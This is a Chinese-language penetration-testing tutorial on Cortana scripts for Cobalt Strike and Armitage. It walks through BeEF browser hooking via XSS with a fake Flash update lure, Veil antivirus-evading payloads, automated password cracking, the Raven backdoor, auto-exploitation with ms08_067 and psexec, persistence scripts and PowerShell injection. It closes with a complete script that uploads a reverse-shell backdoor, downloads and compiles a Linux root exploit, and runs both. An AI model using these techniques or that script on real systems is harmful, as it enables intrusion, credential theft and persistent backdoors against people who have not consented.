Cortana是可以用于Cobalt strike以及Armitage的腳本,通過加載cortana可以向Cobalt strike中導入新的第三方工具,最大的好處就是各種第三方工具都進行了可視化,你可以通過點擊而不是通過命令行來完成一些操作,當然,通過定制cortana腳本,你可以在滲透測試過程中很方便的做一些批量操作或者自動化攻擊等。本篇文章主要選取了一些現有的cortana腳本,來進行簡單的介紹。
你可以通過如下命令下載cortana-scripts:
[email protected]:~# git clone https://github.com/rsmudge/cortana-scripts.git
本次測試使用的是Cobalt strike2.5,下載地址:戳我(自行驗證安全性)
除了可視化操作,cortana也可以使用命令行操作,依此點擊View->Script Console,則可打開,使用Help可以看到如下幾個命令:
cortana> help
Commands
--------
askoff #參數為cna腳本,關閉腳本交互功能
askon #參數為cna腳本,開啟腳本交互功能
help #查看幫助信息
load #參數為路徑,加載Cortana腳本
logoff #參數為cna腳本,關閉腳本日志記錄
logon #參數為cna腳本,開啟腳本日志記錄
ls #列出加載的腳本
proff #參數為cna腳本,關閉腳本分析器
profile #參數為cna腳本,查看腳本簡介
pron #參數為cna腳本,開啟腳本分析器
reload #參數為cna腳本,重新加載腳本
troff #參數為cna腳本,關閉腳本跟蹤功能
tron #參數為cna腳本,開啟腳本跟蹤功能
unload #參數為cna腳本,卸載腳本
下面將介紹幾個好用的腳本。
Beef是一款針對瀏覽器的滲透測試工具,之前三好學生師傅已經對他有一個比較詳細的介紹,而beef_strick則是可以在Cobalt strike及Armitage中加載Beef的一個Cortana腳本,要使用此腳本,首先要先下載安裝msf的beef插件。
[email protected]:~# git clone https://github.com/xntrik/beefmetasploitplugin.git
[email protected]:~# cd beefmetasploitplugin/
[email protected]:~/beefmetasploitplugin# cp plugins/* /usr/share/metasploit-framework/plugins/
[email protected]:~/beefmetasploitplugin# cp -R lib/* /usr/share/metasploit-framework/lib/
安裝依賴庫,執行:
[email protected]:~# gem install hpricot
[email protected]:~# gem install json
如果不能更新,可以換成淘寶的ruby源,地址為https://ruby.taobao.org/
啟動msf:
[email protected]:~# service postgresql start
[email protected]:~# msfconsole
加載beef
msf > load beef
在這里有個坑,就是可能會碰到這個錯誤:
經過多次研究最終找到解決方案,直接復制:
cp -R /var/lib/gems/2.1.0/gems/hpricot-0.8.6/lib/* /usr/lib/ruby/vendor_ruby/
現在再啟動msf,就可以加載beef了,如下圖:
進入到cortana-scripts的beef_strike目錄(測試發現,最新版本的貌似有問題,所以找到了歷史版本的來做測試:地址請戳我),修改beef_strike.cna文件,將import的目錄改到當前beef_strike的目錄:
除此之外,下載以下jar放到lib目錄:
[email protected]:~/beef_strike# cd lib
[email protected]:~/beef_strike/lib/# wget http://evi1cg.me/lib.rar #老外整理的jar包,請自行驗證安全性,不放心可以自己下載相應jar包
[email protected]:~/beef_strike/lib/# unrar x lib.rar
之后運行cobaltstrike或者armitage(不支持cobaltstrike3.0),以下以cobaltstrike做示例:
首先加載beef_strike,依此點擊cobaltstrike->Scripts->load,選擇beef_strike.cna
連接beef,選擇Attacks->BeEF Strike->Start->control BeFF service,配置beef路徑,然后點擊strat開啟beef服務,之后連接beef服務,如下圖:
點擊Conect之后填入beef服務地址,用戶名,密碼就可以連接beef了,這里比較重要的是這個key,如下圖:
復制這個key,在連接處那里點擊key,并將此值填入,就可以正常使用了。
只需要將http://192.168.74.144:3000/hook.js插入存在xss的網站,或者以任意方式執行該js,beef上面就可以看到主機上線了,嘗試訪問http://192.168.74.144:3000/demos/basic.html測試:
選擇一個計算機,點擊右鍵,beef,可以看到其基本信息,右鍵可以看到beef更多的功能:
比如社會工程學工具里面的fake flash update,點擊此按鈕之后輸出如下參數配置:
"payload_uri":"http://192.168.74.144:81/download/test.exe","image":"http://192.168.74.145:3000/demos/adobe_flash_update.png"
如下圖:
之后受害者就會看到一個升級信息:
點擊以后就會下載我們指定的exe。
更多的功能在:
這里可以設置自動運行的多個命令,有興趣的小伙伴可以繼續進行研究,具體Beef使用詳見:瀏覽器利用框架BeEF測試。
Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多數網絡環境中Veil 能繞過常見的殺毒軟件,可以使用如下命令下載:
[email protected]:~# git clone https://github.com/Veil-Framework/Veil-Evasion.git
下載以后進行配置安裝:
[email protected]:~# cd Veil-Evasion/setup/
[email protected]:~/Veil-Evasion/setup# ./setup.sh
之后就安裝python等一系列環境就可以正常使用了。
加載Veil_evasion,依此點擊cobaltstrike->Scripts->load,選擇Veil_evasion.cna,之后輸入Veil-Evasion.py的絕對路徑就成功加載 Veil_evasion了,如下圖:
如果Veil_evasion路徑輸入錯誤,可以再set Veil_evasion Path處修改。
點擊Generate,就可以看到生成payload界面:
通過雙擊Payload,MSFPayload可以選擇不同的生成方式,例如:
Payload選擇c/meterpreter/rev_tcp,MSFPayload選擇windows/meterpreter/reverse_tcp,一定要選同類型的
,設置監聽ip及端口以后,點擊Generate,則可以看到生成的路徑,點擊ok則可生成payload,如下圖:
此腳本可用于用戶口令破解,可以自動化測試多個服務,也可以針對單個服務進行口令破解,可破解的服務包括ssh,smb,ftp,telnet,vnc,vmauthd,pcanywhere,mssql,mysql等,使用前需要修改字典路徑:
以及john字典路徑:
修改以后,依此點擊cobaltstrike->Scripts->load,選擇login_autopwn.cna,之后通過點擊View->Script Console的打開Cortana,則可看到已經加載 login_autopwn:
輸入help,可以查看命令:
獲取服務信息之后,直接輸入start則可以進行自動化口令探測,當然也可以選擇某個模塊來進行探測,下面是一個demo:
Raven是一個Windows后門,他可以訪問攻擊者控制的服務器,下載RAW shellcode,如果代碼可用,他將將代碼注入到其他進程中,可以通過","來創建多個URL列表,Raven將會采用循環的方式進行嘗試,安裝Raven以后,他每隔5分鐘會訪問依此控制服務器,安裝方法為:
Cortana script中已經集成了Raven的使用腳本,使用方式如下:
step1:打開終端,開啟web服務
[email protected]:~# service apache2 start
step2:依次點擊View->Script console
step3:加載server.cna,client.cna
加載server.cna之前確保web根目錄配置正確
step4:依此點擊View->Raven
step5:點擊Export EXE,配置服務器地址,http://ip/foo 生成exe
step6:運行exe,之后會看到這樣:
step7:開啟msf監聽,使用windows/meterpreter/reverse_tcp ,端口為4444。
step8:當有客戶端連入時,右鍵,Meterp tcp,端口為之前的端口,則可獲取會話。
autohack
用于自動攻擊,當發現22端口時,使用對應的模塊進行暴力破解,發現445端口則嘗試使用ms08_067,自己可以根據自己的需要進行修改;autohash
用于自動執行提權并進行hashdump操作,讀取到的hash將存入數據庫,執行creds則可以看到存儲的hash信息;autopsexec
用于發現445端口開放時,使用psexec來測試登陸,使用的密碼為數據庫存儲的hash信息。automsfscan
用于在hosts列表增加時自動執行msfscan操作;autonessus
將在hosts列表增加時自動執行nessus掃描。auto_crack
是利用msf的jtr_crack_fast對用戶憑證進行破解的腳本;find_hosts
是使用nmap進行掃描的腳本;find_hosts_ping_large_subnet
是對于一個較大的子網指定端口進行快速掃描的腳本;infect
是一個創建后門的腳本,Windows下面創建 metsvc后門并添加用戶開始3389端口,Linux下面創建用戶,添加后門并創建計劃任務,使用前記得修改參數。在Powrshell如火如荼的時候,怎么能缺少Powershell相關的腳本呢?rvrsh3ll在github開源了一個與Powershell相關的Cortana腳本,使用此腳本可以通過可視化操作遠程注入powershell腳本到計算機內存,下載地址為:
[email protected]:~# git clone https://github.com/rvrsh3ll/POSH-Commander.git
下載以后,將remote_powershell.rb復制到metasploit-framework/modules/post/windows/manage/powershell/ 目錄:
[email protected]:~# cp POSH-Commander/msfmodule/remote_powershell.rb /usr/share/metasploit-framework/modules/post/windows/manage/powershell/
之后打開msf的console界面,執行如下命令:
msf> reload_all
依此點擊cobaltstrike->Scripts->load,加載posh_commander.cna,當獲取meterpreter會話以后,將會看到新增的powershell攻擊模塊:
選擇其中的Veil-PowerView,輸入腳本地址,然后就可以選擇加載的模塊了:
之后可以雙擊單個模塊,添加相應參數然后運行該Powershell腳本。原腳本路徑有點問題,不想改的話可以直接試用這個。
測試執行HOST命令,選擇Custom Local Command,輸入HOST,運行之后可以看到運行返回的結果:
除了以上的腳本,為了方便我們還可以自己編寫屬于自己的Cortana腳本,編寫示例在Cortana scripts里面已經有了一些,如果有興趣,你可以看看這個:
比如下面是一個自動對2.6.36內核linux自動提權的腳本:
# Auto Rooting < 2.6.36 Menu for Cobalt Engine v0.1
popup shell {
if (host_os(session_host($1)) eq "Linux") {
menu "Auto Rooting" {
item "Auto Rooting < 2.6.36" {
println("Auto Rooting");
# Generate Payload
$r_lport = random_port();
$backdoor = generate("linux/x86/meterpreter/reverse_tcp", lhost(), $r_lport, %(), "elf");
$handle2 = openf(">/tmp/linux_backdoor_$r_lport");
writeb($handle2, $backdoor);
closef($handle2);
shell_upload($1, "/tmp/linux_backdoor_$r_lport", "/tmp/linux_backdoor_$r_lport");
# Launch our aux shells
handler("linux/x86/meterpreter/reverse_tcp", $r_lport, %(LHOST => lhost()));
# Rooting
s_cmd($1, "wget http://downloads.securityfocus.com/vulnerabilities/exploits/44219.c");
s_cmd($1, "gcc 44219.c -o rootme_1");
s_cmd($1, "chmod +x rootme_1");
s_cmd($1, "chmod 0777 rootme_1");
s_cmd($1, "./rootme_1");
sleep(10 * 1000);
s_cmd($1, "chmod +x /tmp/linux_backdoor_$r_lport");
s_cmd($1, "chmod 0777 /tmp/linux_backdoor_$r_lport");
s_cmd($1, "chown root:root /tmp/linux_backdoor_$r_lport");
s_cmd($1, "/tmp/linux_backdoor_$r_lport");
s_cmd($1, "exit");
db_sync();
}
}
}
}
使用Cortana腳本可以讓我們更加便捷的使用Cobalt strike,并能更加方便的進行自動化攻擊,希望對滲透測試中的你有所幫助。
本文由evi1cg原創并首發于烏云drops,轉載請注明